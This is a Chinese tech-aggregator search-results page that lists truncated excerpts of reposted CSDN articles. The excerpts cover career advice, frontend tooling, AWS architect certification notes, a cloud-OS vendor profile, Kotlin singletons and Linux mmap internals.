前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[线程池大小调整 ]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
转载文章
...章中的观点:无论年龄大小,职场人士都需要设立明确目标,增强执行力,并懂得投资自己,通过不断学习实现职业生涯的可持续发展。 同时,心理学专家也强调,保持积极心态是中年人应对职场挑战的关键要素之一。正如美国心理学家卡罗尔·德韦克提出的“成长思维模式”,鼓励人们以开放的态度看待困难和挑战,相信能力可以通过努力得以提升,这对于中年职场人士打破现状、激发潜力具有深远意义。 综上所述,面对日新月异的社会变迁和职场环境,中年群体需树立长期职业规划意识,提高实际行动力,强化个人核心竞争力,并始终保持与时俱进的学习态度和积极进取的心态,以此来应对职业道路上的各种挑战,实现职业生涯的二次腾飞。
2023-06-29 14:16:29
120
转载
转载文章
...实现响应式布局、间距调整、颜色定制等常见样式需求。在该文章中,作者推荐了 TailwindCSS 用于后台管理系统项目的样式构建,以降低编写 CSS 样式的复杂度,提高开发效率。 Pinia , Pinia 是专为 Vue3 设计的状态管理库,用于在大型或复杂应用中管理和共享组件之间的状态数据。相较于 Vuex,Pinia 在设计上更加简洁易用,提供了灵活且强大的状态管理解决方案。在模板项目中,作者集成了 Pinia 来帮助团队成员更好地组织和维护应用中的全局状态与逻辑。 Jest , Jest 是一个流行的 JavaScript 测试框架,具有丰富的断言库和模拟功能,能够支持单元测试、集成测试等多种测试场景。在文中,作者配置了 Jest 作为项目的单元测试工具,确保代码质量与稳定性,通过编写测试用例来验证代码逻辑的正确性以及预期功能的实现。 Eslint 和 Prettier , Eslint 是一款静态代码检查工具,用于识别并报告 JavaScript 和 TypeScript 代码中的潜在错误、不一致性和不良编码习惯;Prettier 则是一款代码格式化工具,可以自动按照一套统一的规则格式化代码,确保团队间的代码风格一致性。在这篇文章中,作者介绍了如何结合 Eslint 和 Prettier 设置项目规范,以提升代码质量和团队协作效率。
2023-10-05 12:27:41
117
转载
转载文章
...,将不会成为未来应用调整、发展的阻碍 松耦合模式的情况 不要标示(依赖)特定对象,依赖特定对象耦合性将非常高 – 使用负载均衡器 – 域名解析 – 弹性IP – 可以动态找到配合的对象,为松耦合带来方便,为应用将来的扩展带来好处 不要依赖其他模块的正确处理或及时的处理 – 使用尽量使用异步的处理,而不是同步的(SQS可以帮到用户) 4.2 模块出错后工作不会有问题 问问某个模块出了问题,应用会怎么样? 在设计的时候,在出了问题会有影响的模块,进行处理,建立自动恢复性 4.3 实现弹性 在设计上,不要假定模块是正常的、始终不变的 – 可以配合AutoScaling、EIP和可用区AZ来满足 允许模块的失败重启 – 无状态设计比有状态设计好 – 使用ELB、云监控去检测“实例”运行状态 有引导参数的实例(实现自动配置) – 例如:加入user data在启动的时候,告知它应该做的事情 在关闭实例的时候,保存其配置和个性化 – 例如用DynamoDB保存session信息 弹性后就不会为了超配资源而浪费钱了 4.4 安全是整体的事,需要在每个层面综合考虑 基础架构层 计算/网络架构层 数据层 应用层 4.5 最小授权原则 只付于操作者完成工作的必要权限 所有用户的操作必须授权 三种类型的权限能操作AWS – 主账户 – IAM用户 – 授权服务(主要是开发的app) 5 设计:高可用、高效率、可容错、可扩展的系统 本部分的目标是设计出高可用、高效率低成本、可容错、可扩展的系统架构 - 高可用 – 了解AWS服务自身的高可靠性(例如弹性负载均衡)—-因为ELB是可以多AZ部署的 – 用好这些服务可以减少可用性的后顾之忧 - 高效率(低成本) – 了解自己的容量需求,避免超额分配 – 利用不同的价格策略,例如:使用预留实例 – 尽量使用AWS的托管服务(如SNS、SQS) - 可容错 – 了解HA和容错的区别 – 如果说HA是结果,那么容错则是保障HA的一个重要策略 – HA强调系统不要出问题,而容错是在系统出了问题后尽量不要影响业务 - 可扩展性 – 需要了解AWS哪些服务自身就可以扩展,例如SQS、ELB – 了解自动伸缩组(AS) 运用好 AWS 7大架构设计原则的:松耦合、实现弹性 6 实施和部署设计 本部分的在设计的基础上找到合适的工具来实现 对比第一部分“设计”,第一章主要针对用什么,而第二章则讨论怎么用 主要考核AWS云的核心的服务目录和核心服务,包括: 计算机和网络 – EC2、VPC 存储和内容分发 – S3、Glacier 数据库相关分类 – RDS 部署和管理服务 – CloudFormation、CloudWatch、IAM 应用服务 – SQS、SNS 7 数据安全 数据安全的基础,是AWS责任共担的安全模型模型,必须要读懂 数据安全包括4个层面:基础设施层、计算/网络层、数据层、应用层 - 基础设施层 1. 基础硬件安全 2. 授权访问、流程等 - 计算/网络层 1. 主要靠VPC保障网络(防护、路由、网络隔离、易管理) 2. 认识安全组和NACLs以及他们的差别 安全组比ACL多一点,安全组可以针对其他安全组,ACL只能针对IP 安全组只允许统一,ACL可以设置拒绝 安全组有状态!很重要(只要一条入站规则通过,那么出站也可以自动通过),ACL没有状态(必须分别指定出站、入站规则) 安全组的工作的对象是网卡(实例)、ACL工作的对象是子网 认识4种网关,以及他们的差别 共有4种网关,支撑流量进出VPC internet gatway:互联网的访问 virtual private gateway:负责VPN的访问 direct connect:负责企业直连网络的访问 vpc peering:负责VPC的peering的访问 数据层 数据传输安全 – 进入和出AWS的安全 – AWS内部传输安全 通过https访问API 链路的安全 – 通过SSL访问web – 通过IP加密访问VPN – 使用直连 – 使用OFFLINE的导入导出 数据的持久化保存 – 使用EBS – 使用S3访问 访问 – 使用IAM策略 – 使用bucket策略 – 访问控制列表 临时授权 – 使用签名的URL 加密 – 服务器端加密 – 客户端加密 应用层 主要强调的是共担风险模型 多种类型的认证鉴权 给用户在应用层的保障建议 – 选择一种认证鉴权机制(而不要不鉴权) – 用安全的密码和强安全策略 – 保护你的OS(如打开防火墙) – 用强壮的角色来控制权限(RBAC) 判断AWS和用户分担的安全中的标志是,哪些是AWS可以控制的,那些不能,能的就是AWS负责,否则就是用户(举个例子:安全组的功能由AWS负责—是否生效,但是如何使用是用户负责—自己开放所有端口跟AWS无关) AWS可以保障的 用户需要保障的 工具与服务 操作系统 物理内部流程安全 应用程序 物理基础设施 安全组 网络设施 虚拟化设施 OS防火墙 网络规则 管理账号 8 故障排除 问题经常包括的类型: - EC2实例的连接性问题 - 恢复EC2实例或EBS卷上的数据 - 服务使用限制问题 8.1 EC2实例的连接性问题 经常会有多个原因造成无法连接 外部VPC到内部VPC的实例 – 网关(IGW–internet网关、VPG–虚拟私有网关)的添加问题 – 公司网络到VPC的路由规则设置问题 – VPC各个子网间的路由表问题 – 弹性IP和公有IP的问题 – NACLs(网络访问规则) – 安全组 – OS层面的防火墙 8.2 恢复EC2实例或EBS卷上的数据 注意EBS或EC2没有任何强绑定关系 – EBS是可以从旧实例上分离的 – 如有必要尽快做 将EBS卷挂载到新的、健康的实例上 执行流程可以针对恢复没有工作的启动卷(boot volume) – 将root卷分离出来 – 像数据一样挂载到其他实例 – 修复文件 – 重新挂载到原来的实例中重新启动 8.3 服务使用限制问题 AWS有很多软性限制 – 例如AWS初始化的时候,每个类型的EBS实例最多启动20个 还有一些硬性限制例如 – 每个账号最多拥有100个S3的bucket – …… 别的服务限制了当前服务 – 例如无法启动新EC2实例,原因可能是EBS卷达到上限 – Trusted Advisor这个工具可以根据服务水平的不同给出你一些限制的参考(从免费试用,到商业试用,和企业试用的建议) 常见的软性限制 公共的限制 – 每个用户最多创建20个实例,或更少的实例类型 – 每个区域最多5个弹性ip – 每个vpc最多100个安全组 – 最多20个负载均衡 – 最多20个自动伸缩组 – 5000个EBS卷、10000个快照,4w的IOPS和总共20TB的磁盘 – …更多则需要申请了 你不需要记住限制 – 知道限制,并保持数值敏感度就好 – 日后遇到问题时可以排除掉软限制的相关的问题 9. 总结 9.1 认证的主要目标是: 确认架构师能否搜集需求,并且使用最佳实践,在AWS中构建出这个系统 是否能为应用的整个生命周期给出指导意见 9.2 希望架构师(助理或专家级)考试前的准备: 深度掌握至少1门高级别语言(c,c++,java等) 掌握AWS的三份白皮书 – aws概览 – aws安全流程 – aws风险和应对 – 云中的存储选项 – aws的架构最佳实践 按照客户需求,使用AWS组件来部署混合系统的经验 使用AWS架构中心网站了解更多信息 9.3 经验方面的建议 助理架构师 – 至少6个月的实际操作经验、在AWS中管理生产系统的经验 – 学习过AWS的基本课程 专家架构师 – 至少2年的实际操作经验、在AWS中管理多种不同种类的复杂生产系统的经验(多种服务、动态伸缩、高可用、重构或容错) – 在AWS中执行构建的能力,架构的高级概念能力 9.4 相关资源 认证学习的资源地址 - 可以自己练习,模拟考试需要付费的 接下来就去网上报名参加考试 本篇文章为转载内容。原文链接:https://blog.csdn.net/QXK2001/article/details/51292402。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-29 22:08:40
271
转载
转载文章
...定制不同的存储数据块大小,优化应用读写效率,提供更高的业务性能;数据可按组织架构逻辑隔离,部门拥有独立的副本而无需新建一套云环境,降低企业IT的成本与复杂度;数据重构优先级保证关键业务在故障时第一时间恢复,也能避免业务链启动错误的场景出现。 四是,在简捷运维方面,安超OS是一款轻量级云创新平台,其所有管理策略以虚拟机和业务为核心,不需要配置或管理卷、LUN、文件系统、RAID等需求,从根本上简化了云操作系统的管理。通过标准ISO安装,可实现30分钟平台极速搭建,1分钟业务快速部署,一键集群启停与一键运维巡检。降低企业IT技术门槛,使IT部门从技术转移并聚焦于业务推进和变革,助力企业实现软件定义数据中心。 五是,在高性价比方面,安超OS在设计之初,华云数据就考虑到它是一个小而美、大而全的产品,所以给客户提供组件化授权,方便用户按需购买,按需使用,避免一次性采购过度,产生配置浪费。并且安超OS提供在线压缩等容量优化方案,支持无限个数无损快照,无硬件绑定,支持License迁移。 由此可见,安超OS通用型云操作系统的本质,其实就是一款以安全可信为基础,以业务优化为核心的轻量级云创新平台,能够让中国政府和企业在数字化转型中,更好的发挥云平台的价值,同时也能有效的支持他们的业务创新。 生态之上的云操作系统 纵观IT发展的过程,每个时代都离不开通用型操作系统:在PC时代,通用型操作系统是Windows、Linux;在移动互联时代,通用型操作系统是安卓(Android),而这些通用型操作系统之所以能够成功,背后其实也离不开生态的开放和壮大。 如果以此类比的话,生态合作和生态开放同样也是华云安超OS产品的核心战略,这也让安超OS超越了传统意义上的云创新平台,是一款架构于生态开放之上的云操作系统。 华云数据集团副董事长、执行副总裁马杜 据华云数据集团副董事长、执行副总裁马杜介绍,目前华云数据正与业内众多合作伙伴建立了生态合作关系,覆盖硬件、软件、芯片、应用、方案等多个领域,通过生态合作,华云数据希望进一步完善云数据中心的产业链生态,与合作伙伴共建云计算生态圈。 其中,在基础架构方面,华云数据与飞腾、海光、申威等芯片厂商以及中标麒麟、银河麒麟等国产操作系统实现了互认证,与VMware、Dell EMC、广达、浪潮、曙光、长城、Citrix、Veeam、SevOne、XSKY、锐捷网络、上海仪电、NEXIFY等多家国内外知名IT厂商达成了战略合作,共同为中国政企用户提供基于云计算的通用行业解决方案与垂直行业解决方案,助推用户上云实现创新加速模式。 同时,在解决方案方面,华云数据也一直在完善自身的产业链,建立最广泛的生态体系。例如,PaaS平台领域的合作伙伴包括灵雀云、Daocloud、时速云、优创联动、长城超云、蓝云、星环科技、华夏博格、时汇信息、云赛、热璞科技、思捷、和信创天、酷站科技、至臻科技达成合作关系;数据备份领域有金蝶、爱数、Veeam、英方云、壹进制;安全领域有亚信安全、江南安全、绿盟、赛亚安全、默安科技;行业厂商包括善智互联、蓝美视讯、滴滴、天港集团、航天科工等合作伙伴,由此形成了非常有竞争力的整体解决方案。 不仅如此,华云数据与众多生态厂家共同完成了兼容性互认证测试,构建了一个最全面的基础架构生态体系,为推出的国产通用型云操作系统提供了一个坚实的基础。也让该系统提高了其包括架构优化能力、技术研发能力、资源整合能力、海量运营能力在内的综合能力,为客户提供稳定、可靠的上云服务,赋能产业变革。 值得一提的是,华云数据还发布了让利于合作伙伴的渠道合作策略,通过和合作伙伴的合作共赢,华云数据希望将安超OS推广到国内的全行业,让中国企业都能用上安全、放心的国产通用型云操作系统,并让安超OS真正成为未来中国企业上云的重要推手。 显而易见,数字化的转型与升级,以及数字经济的落地和发展,任重而道远,艰难而伟大,而华云数据正以安超OS云操作系统为核心构建的新生态模式和所释放的新能力,不仅会驱动华云数据未来展现出更多的可能性,激发出更多新的升维竞争力,更将会加速整个中国政府和企业的数字化转型步伐。 全文总结,在云计算落地中国的过程中,华云数据既是早期的探索者,也是落地的实践者,更是未来的推动者。特别是安超OS云操作系统的推出,背后正是华云凭借较强的技术驾驭能力,以及对中国企业用户痛点的捕捉,使得华云能够走出一条差异化的创新成长之路,也真正重新定义了“中国云”未来的发展壮大之路。 申耀的科技观察,由科技与汽车跨界媒体人申斯基(微信号:shenyao)创办,16年媒体工作经验,拥有中美两地16万公里自驾经验,专注产业互联网、企业数字化、渠道生态以及汽车科技内容的观察和思考。 本篇文章为转载内容。原文链接:https://blog.csdn.net/W5AeN4Hhx17EDo1/article/details/99899011。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-16 21:41:38
303
转载
转载文章
... - -属性和字段 线程安全的懒汉式 //Java实现 大家都知道在使用懒汉式会出现线程安全的问题,需要使用使用同步锁,在Kotlin中,如果你需要将方法声明为同步,需要添加@Synchronized注解。 双重校验锁式 //Java实现 哇!小伙伴们惊喜不,感不感动啊。我们居然几行代码就实现了多行的Java代码。其中我们运用到了Kotlin的延迟属性 Lazy。 Lazy内部实现 public 观察上述代码,因为我们传入的mode = LazyThreadSafetyMode.SYNCHRONIZED, 那么会直接走 SynchronizedLazyImpl,我们继续观察SynchronizedLazyImpl。 Lazy接口 SynchronizedLazyImpl实现了Lazy接口,Lazy具体接口如下: public 继续查看SynchronizedLazyImpl,具体实现如下: SynchronizedLazyImpl内部实现 private 通过上述代码,我们发现 SynchronizedLazyImpl 覆盖了Lazy接口的value属性,并且重新了其属性访问器。其具体逻辑与Java的双重检验是类似的。 到里这里其实大家还是肯定有疑问,我这里只是实例化了SynchronizedLazyImpl对象,并没有进行值的获取,它是怎么拿到高阶函数的返回值呢?。这里又涉及到了委托属性。 委托属性语法是:val/var : by 。在 by 后面的表达式是该 委托, 因为属性对应的 get()(和 set())会被委托给它的 getValue() 和 setValue() 方法。属性的委托不必实现任何的接口,但是需要提供一个 getValue() 函数(和 setValue()——对于 var 属性)。 而Lazy.kt文件中,声明了Lazy接口的getValue扩展函数。故在最终赋值的时候会调用该方法。 internal.InlineOnly 静态内部类式 //Java实现 静态内部类的实现方式,也没有什么好说的。Kotlin与Java实现基本雷同。 补充 在该篇文章结束后,有很多小伙伴咨询,如何在Kotlin版的Double Check,给单例添加一个属性,这里我给大家提供了一个实现的方式。(不好意思,最近才抽出时间来解决这个问题) class SingletonDemo private constructor( 其中关于?:操作符,如果 ?: 左侧表达式非空,就返回其左侧表达式,否则返回右侧表达式。请注意,当且仅当左侧为空时,才会对右侧表达式求值。 Kotlin 智能类型转换 对于子父类之间的类型转换 先看这样一段 Java 代码 public 尽管在 main 函数中,对 person 这个对象进行了类型判断,但是在使用的时候还是需要强制转换成 Student 类型,这样是不是很不智能? 同样的情况在 Kotlin 中就变得简单多了 fun main(args: Array<String>) { 在 Kotlin 中,只要对类型进行了判断,就可以直接通过父类的对象去调用子类的函数了 安全的类型转换 还是上面的那个例子,如果我们没有进行类型判断,并且直接进行强转,会怎么样呢? public static void main(String[] args) { 结果就只能是 Exception in thread "main" java.lang.ClassCastException 那么在 Kotlin 中是不是会有更好的解决方法呢? val person: Person = Person() 在转换操作符后面添加一个 ?,就不会把程序 crash 掉了,当转化失败的时候,就会返回一个 null 在空类型中的智能转换 需要提前了解 Kotlin 类型安全的相关知识(Kotlin 中的类型安全(对空指针的优化处理)) String? = aString 在定义的时候定义成了有可能为 null,按照之前的写法,我们需要这样写 String? = 但是已经进行了是否为 String 类型的判断,所以就一定 不是 空类型了,也就可以直接输出它的长度了 T.()->Unit 、 ()->Unit 在做kotlin开发中,经常看到一些系统函数里,用函数作为参数 public .()-Unit与()->Unit的区别是我们调用时,在代码块里面写this,的时候,两个this代表的含义不一样,T.()->Unit里的this代表的是自身实例,而()->Unit里,this代表的是外部类的实例。 推荐阅读 对 Kotlin 与 Java 编程语言的思考 使用 Kotlin 做开发一个月后的感想 扫一扫 关注我的公众号如果你想要跟大家分享你的文章,欢迎投稿~ 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39611037/article/details/109984124。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-23 23:56:14
472
转载
转载文章
...多个页上,如果文件的大小不是所有页的大小之和,最后一个页不被使用的空间将会清零。munmap执行相反的操作,删除特定地址区域的对象映射。 当使用mmap映射文件到进程后,就可以直接操作这段虚拟地址进行文件的读写等操作,不必再调用read,write等系统调用.但需注意,直接对该段内存写时不会写入超过当前文件大小的内容. 采用共享内存通信的一个显而易见的好处是效率高,因为进程可以直接读写内存,而不需要任何数据的拷贝。对于像管道和消息队列等通信方式,则需要在内核和用户空间进行四次的数据拷贝,而共享内存则只拷贝两次数据:一次从输入文件到共享内存区,另一次从共享内存区到输出文件。实际上,进程之间在共享内存时,并不总是读写少量数据后就解除映射,有新的通信时,再重新建立共享内存区域。而是保持共享区域,直到通信完毕为止,这样,数据内容一直保存在共享内存中,并没有写回文件。共享内存中的内容往往是在解除映射时才写回文件的。因此,采用共享内存的通信方式效率是非常高的。 基于文件的映射,在mmap和munmap执行过程的任何时刻,被映射文件的st_atime可能被更新。如果st_atime字段在前述的情况下没有得到更新,首次对映射区的第一个页索引时会更新该字段的值。用PROT_WRITE 和 MAP_SHARED标志建立起来的文件映射,其st_ctime 和 st_mtime在对映射区写入之后,但在msync()通过MS_SYNC 和 MS_ASYNC两个标志调用之前会被更新。 用法: include <sys/mman.h> void mmap(void start, size_t length, int prot, int flags, int fd, off_t offset); int munmap(void start, size_t length); 返回说明: 成功执行时,mmap()返回被映射区的指针,munmap()返回0。失败时,mmap()返回MAP_FAILED[其值为(void )-1],munmap返回-1。errno被设为以下的某个值 EACCES:访问出错 EAGAIN:文件已被锁定,或者太多的内存已被锁定 EBADF:fd不是有效的文件描述词 EINVAL:一个或者多个参数无效 ENFILE:已达到系统对打开文件的限制 ENODEV:指定文件所在的文件系统不支持内存映射 ENOMEM:内存不足,或者进程已超出最大内存映射数量 EPERM:权能不足,操作不允许 ETXTBSY:已写的方式打开文件,同时指定MAP_DENYWRITE标志 SIGSEGV:试着向只读区写入 SIGBUS:试着访问不属于进程的内存区 参数: start:映射区的开始地址。 length:映射区的长度。 prot:期望的内存保护标志,不能与文件的打开模式冲突。是以下的某个值,可以通过or运算合理地组合在一起 PROT_EXEC //页内容可以被执行 PROT_READ //页内容可以被读取 PROT_WRITE //页可以被写入 PROT_NONE //页不可访问 flags:指定映射对象的类型,映射选项和映射页是否可以共享。它的值可以是一个或者多个以下位的组合体 MAP_FIXED //使用指定的映射起始地址,如果由start和len参数指定的内存区重叠于现存的映射空间,重叠部分将会被丢弃。如果指定的起始地址不可用,操作将会失败。并且起始地址必须落在页的边界上。 MAP_SHARED //与其它所有映射这个对象的进程共享映射空间。对共享区的写入,相当于输出到文件。直到msync()或者munmap()被调用,文件实际上不会被更新。 MAP_PRIVATE //建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的,只能使用其中一个。 MAP_DENYWRITE //这个标志被忽略。 MAP_EXECUTABLE //同上 MAP_NORESERVE //不要为这个映射保留交换空间。当交换空间被保留,对映射区修改的可能会得到保证。当交换空间不被保留,同时内存不足,对映射区的修改会引起段违例信号。 MAP_LOCKED //锁定映射区的页面,从而防止页面被交换出内存。 MAP_GROWSDOWN //用于堆栈,告诉内核VM系统,映射区可以向下扩展。 MAP_ANONYMOUS //匿名映射,映射区不与任何文件关联。 MAP_ANON //MAP_ANONYMOUS的别称,不再被使用。 MAP_FILE //兼容标志,被忽略。 MAP_32BIT //将映射区放在进程地址空间的低2GB,MAP_FIXED指定时会被忽略。当前这个标志只在x86-64平台上得到支持。 MAP_POPULATE //为文件映射通过预读的方式准备好页表。随后对映射区的访问不会被页违例阻塞。 MAP_NONBLOCK //仅和MAP_POPULATE一起使用时才有意义。不执行预读,只为已存在于内存中的页面建立页表入口。 fd:有效的文件描述词。如果MAP_ANONYMOUS被设定,为了兼容问题,其值应为-1。 offset:被映射对象内容的起点。 3.munmap系统调用 include <sys/mman.h> int munmap( void addr, size_t len ) 该调用在进程地址空间中解除一个映射关系,addr是调用mmap()时返回的地址,len是映射区的大小。当映射关系解除后,对原来映射地址的访问将导致段错误发生。 4.msync系统调用 include <sys/mman.h> int msync ( void addr , size_t len, int flags) 一般说来,进程在映射空间的对共享内容的改变并不直接写回到磁盘文件中,往往在调用munmap()后才执行该操作。可以通过调用msync()实现磁盘上文件内容与共享内存区的内容一致。 二 系统调用mmap()用于共享内存的两种方式 (1)使用普通文件提供的内存映射:适用于任何进程之间;此时,需要打开或创建一个文件,然后再调用mmap();典型调用代码如下: [cpp] view plaincopy fd=open(name, flag, mode); if(fd<0) ... ptr=mmap(NULL, len , PROT_READ|PROT_WRITE, MAP_SHARED , fd , 0); 通过mmap()实现共享内存的通信方式有许多特点和要注意的地方 (2)使用特殊文件提供匿名内存映射:适用于具有亲缘关系的进程之间;由于父子进程特殊的亲缘关系,在父进程中先调用mmap(),然后调用fork()。那么在调用fork()之后,子进程继承父进程匿名映射后的地址空间,同样也继承mmap()返回的地址,这样,父子进程就可以通过映射区域进行通信了。注意,这里不是一般的继承关系。一般来说,子进程单独维护从父进程继承下来的一些变量。而mmap()返回的地址,却由父子进程共同维护。 对于具有亲缘关系的进程实现共享内存最好的方式应该是采用匿名内存映射的方式。此时,不必指定具体的文件,只要设置相应的标志即可. 三 mmap进行内存映射的原理 mmap系统调用的最终目的是将,设备或文件映射到用户进程的虚拟地址空间,实现用户进程对文件的直接读写,这个任务可以分为以下三步: 1.在用户虚拟地址空间中寻找空闲的满足要求的一段连续的虚拟地址空间,为映射做准备(由内核mmap系统调用完成) 每个进程拥有3G字节的用户虚存空间。但是,这并不意味着用户进程在这3G的范围内可以任意使用,因为虚存空间最终得映射到某个物理存储空间(内存或磁盘空间),才真正可以使用。 那么,内核怎样管理每个进程3G的虚存空间呢?概括地说,用户进程经过编译、链接后形成的映象文件有一个代码段和数据段(包括data段和bss段),其中代码段在下,数据段在上。数据段中包括了所有静态分配的数据空间,即全局变量和所有申明为static的局部变量,这些空间是进程所必需的基本要求,这些空间是在建立一个进程的运行映像时就分配好的。除此之外,堆栈使用的空间也属于基本要求,所以也是在建立进程时就分配好的,如图3.1所示: 图3.1 进程虚拟空间的划分 在内核中,这样每个区域用一个结构struct vm_area_struct 来表示.它描述的是一段连续的、具有相同访问属性的虚存空间,该虚存空间的大小为物理内存页面的整数倍。可以使用 cat /proc/<pid>/maps来查看一个进程的内存使用情况,pid是进程号.其中显示的每一行对应进程的一个vm_area_struct结构. 下面是struct vm_area_struct结构体的定义: [cpp] view plaincopy struct vm_area_struct { struct mm_struct vm_mm; / The address space we belong to. / unsigned long vm_start; / Our start address within vm_mm. / unsigned long vm_end; / The first byte after our end address within vm_mm. / / linked list of VM areas per task, sorted by address / struct vm_area_struct vm_next, vm_prev; pgprot_t vm_page_prot; / Access permissions of this VMA. / unsigned long vm_flags; / Flags, see mm.h. / struct rb_node vm_rb; / For areas with an address space and backing store, linkage into the address_space->i_mmap prio tree, or linkage to the list of like vmas hanging off its node, or linkage of vma in the address_space->i_mmap_nonlinear list. / union { struct { struct list_head list; void parent; / aligns with prio_tree_node parent / struct vm_area_struct head; } vm_set; struct raw_prio_tree_node prio_tree_node; } shared; / A file's MAP_PRIVATE vma can be in both i_mmap tree and anon_vma list, after a COW of one of the file pages. A MAP_SHARED vma can only be in the i_mmap tree. An anonymous MAP_PRIVATE, stack or brk vma (with NULL file) can only be in an anon_vma list. / struct list_head anon_vma_chain; / Serialized by mmap_sem & page_table_lock / struct anon_vma anon_vma; / Serialized by page_table_lock / / Function pointers to deal with this struct. / const struct vm_operations_struct vm_ops; / Information about our backing store: / unsigned long vm_pgoff; / Offset (within vm_file) in PAGE_SIZE units, not PAGE_CACHE_SIZE / struct file vm_file; / File we map to (can be NULL). / void vm_private_data; / was vm_pte (shared mem) / unsigned long vm_truncate_count;/ truncate_count or restart_addr / ifndef CONFIG_MMU struct vm_region vm_region; / NOMMU mapping region / endif ifdef CONFIG_NUMA struct mempolicy vm_policy; / NUMA policy for the VMA / endif }; 通常,进程所使用到的虚存空间不连续,且各部分虚存空间的访问属性也可能不同。所以一个进程的虚存空间需要多个vm_area_struct结构来描述。在vm_area_struct结构的数目较少的时候,各个vm_area_struct按照升序排序,以单链表的形式组织数据(通过vm_next指针指向下一个vm_area_struct结构)。但是当vm_area_struct结构的数据较多的时候,仍然采用链表组织的化,势必会影响到它的搜索速度。针对这个问题,vm_area_struct还添加了vm_avl_hight(树高)、vm_avl_left(左子节点)、vm_avl_right(右子节点)三个成员来实现AVL树,以提高vm_area_struct的搜索速度。 假如该vm_area_struct描述的是一个文件映射的虚存空间,成员vm_file便指向被映射的文件的file结构,vm_pgoff是该虚存空间起始地址在vm_file文件里面的文件偏移,单位为物理页面。 图3.2 进程虚拟地址示意图 因此,mmap系统调用所完成的工作就是准备这样一段虚存空间,并建立vm_area_struct结构体,将其传给具体的设备驱动程序 2 建立虚拟地址空间和文件或设备的物理地址之间的映射(设备驱动完成) 建立文件映射的第二步就是建立虚拟地址和具体的物理地址之间的映射,这是通过修改进程页表来实现的.mmap方法是file_opeartions结构的成员: int (mmap)(struct file ,struct vm_area_struct ); linux有2个方法建立页表: (1) 使用remap_pfn_range一次建立所有页表. int remap_pfn_range(struct vm_area_struct vma, unsigned long virt_addr, unsigned long pfn, unsigned long size, pgprot_t prot); 返回值: 成功返回 0, 失败返回一个负的错误值 参数说明: vma 用户进程创建一个vma区域 virt_addr 重新映射应当开始的用户虚拟地址. 这个函数建立页表为这个虚拟地址范围从 virt_addr 到 virt_addr_size. pfn 页帧号, 对应虚拟地址应当被映射的物理地址. 这个页帧号简单地是物理地址右移 PAGE_SHIFT 位. 对大部分使用, VMA 结构的 vm_paoff 成员正好包含你需要的值. 这个函数影响物理地址从 (pfn<<PAGE_SHIFT) 到 (pfn<<PAGE_SHIFT)+size. size 正在被重新映射的区的大小, 以字节. prot 给新 VMA 要求的"protection". 驱动可(并且应当)使用在vma->vm_page_prot 中找到的值. (2) 使用nopage VMA方法每次建立一个页表项. struct page (nopage)(struct vm_area_struct vma, unsigned long address, int type); 返回值: 成功则返回一个有效映射页,失败返回NULL. 参数说明: address 代表从用户空间传过来的用户空间虚拟地址. 返回一个有效映射页. (3) 使用方面的限制: remap_pfn_range不能映射常规内存,只存取保留页和在物理内存顶之上的物理地址。因为保留页和在物理内存顶之上的物理地址内存管理系统的各个子模块管理不到。640 KB 和 1MB 是保留页可能映射,设备I/O内存也可以映射。如果想把kmalloc()申请的内存映射到用户空间,则可以通过mem_map_reserve()把相应的内存设置为保留后就可以。 (4) remap_pfn_range与nopage的区别 remap_pfn_range一次性建立页表,而nopage通过缺页中断找到内核虚拟地址,然后通过内核虚拟地址找到对应的物理页 remap_pfn_range函数只对保留页和物理内存之外的物理地址映射,而对常规RAM,remap_pfn_range函数不能映射,而nopage函数可以映射常规的RAM。 3 当实际访问新映射的页面时的操作(由缺页中断完成) (1) page cache及swap cache中页面的区分:一个被访问文件的物理页面都驻留在page cache或swap cache中,一个页面的所有信息由struct page来描述。struct page中有一个域为指针mapping ,它指向一个struct address_space类型结构。page cache或swap cache中的所有页面就是根据address_space结构以及一个偏移量来区分的。 (2) 文件与 address_space结构的对应:一个具体的文件在打开后,内核会在内存中为之建立一个struct inode结构,其中的i_mapping域指向一个address_space结构。这样,一个文件就对应一个address_space结构,一个 address_space与一个偏移量能够确定一个page cache 或swap cache中的一个页面。因此,当要寻址某个数据时,很容易根据给定的文件及数据在文件内的偏移量而找到相应的页面。 (3) 进程调用mmap()时,只是在进程空间内新增了一块相应大小的缓冲区,并设置了相应的访问标识,但并没有建立进程空间到物理页面的映射。因此,第一次访问该空间时,会引发一个缺页异常。 (4) 